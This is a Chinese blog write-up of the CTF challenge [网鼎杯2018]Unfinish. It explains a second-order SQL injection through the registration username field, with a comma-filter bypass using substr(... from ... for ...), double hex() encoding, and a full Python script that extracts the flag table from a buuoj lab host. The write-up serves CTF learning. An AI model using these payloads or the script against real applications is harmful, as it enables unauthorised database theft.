[网鼎杯2018]Unfinish

一开始感觉是注入,试了半天也不行,看到源码那个图片地址是upload/a.jpeg,又感觉有文件上传,这个页面是login.php,看看有没有注册,结果还真有

随便注册个登陆进去,啥也没有,不过发现用户名被打印在页面上了,这是我们可控的

在这里插入图片描述

试了一下把用户名写成database()结果什么也没发生

好像是因为注册的时候我们的数据是放在引号里闭合的,直接以字符串的形式存入,所以我们要不让他闭合掉

他的sql语句大概这样子

insert into table(e_mail,name,pass) values('e-mail','name','pass');

fuzz被过滤的字符

在这里插入图片描述

本地测试:

INSERT INTO denglu(id, username, password) VALUES (null,database(),111)

INSERT INTO denglu(id, username, password) VALUES (null,‘database()’,111)

INSERT INTO denglu(id, username, password) VALUES (null,‘’+database()+‘’,111)

INSERT INTO denglu(id, username, password) VALUES (null,0^(length(database())>0),111)

回显:

表名

database()

0

1

ohhhhhhhhhhhh~ 新姿势

这个跟php的弱类型差不多的,‘’+(我们的盲注)+‘’,我们盲注的结果返回1那这里username就会变成1,反之为0

测试:

注册的时候用户名这样写:(注意单引号不能漏)

‘+(length(database()>0))+’

回显:

成功了

在这里插入图片描述

另外,‘0’+123+'0’这样的注入进去是123,这样可以直接读到内容,这里的数字嘛,我们可以把想得到的东西进行两次hex()就好了,但是两次hex()之后注入数据库的数字变成了小数,这里可以用substr截取,而逗号被过滤了,如何不用逗号进行截取又是新的知识点,学到了:substr(str from 1 for 10) 这个样子

测试:

0’+hex(database())+'0
在这里插入图片描述

这里借用一下一位师傅的测试结果,写的非常好https://guokeya.github.io/

在这里插入图片描述

写脚本:

import requests
import re 
url1='http://82536a80-e0da-43e7-b525-42c3970acf14.node4.buuoj.cn:81/login.php'
url2='http://82536a80-e0da-43e7-b525-42c3970acf14.node4.buuoj.cn:81/register.php'
content=''

for i in range(1,20):
    res=requests.session()
    data_register={
        'email':'112@{}'.format(i),
        'username':"0'+(substr(hex(hex((select * from flag ))) from ({}-1)*10+1 for 10))+'0".format(i),
        'password':'1'
        }
    data_login={'email':'112@{}'.format(i),'password':'1'}
    res.post(url=url2,data=data_register)
    ress=res.post(url=url1,data=data_login).text
    print (re.findall("(.*)</span>",ress)[0].replace('</span>','').strip(),end='')
  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

MUNG东隅

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值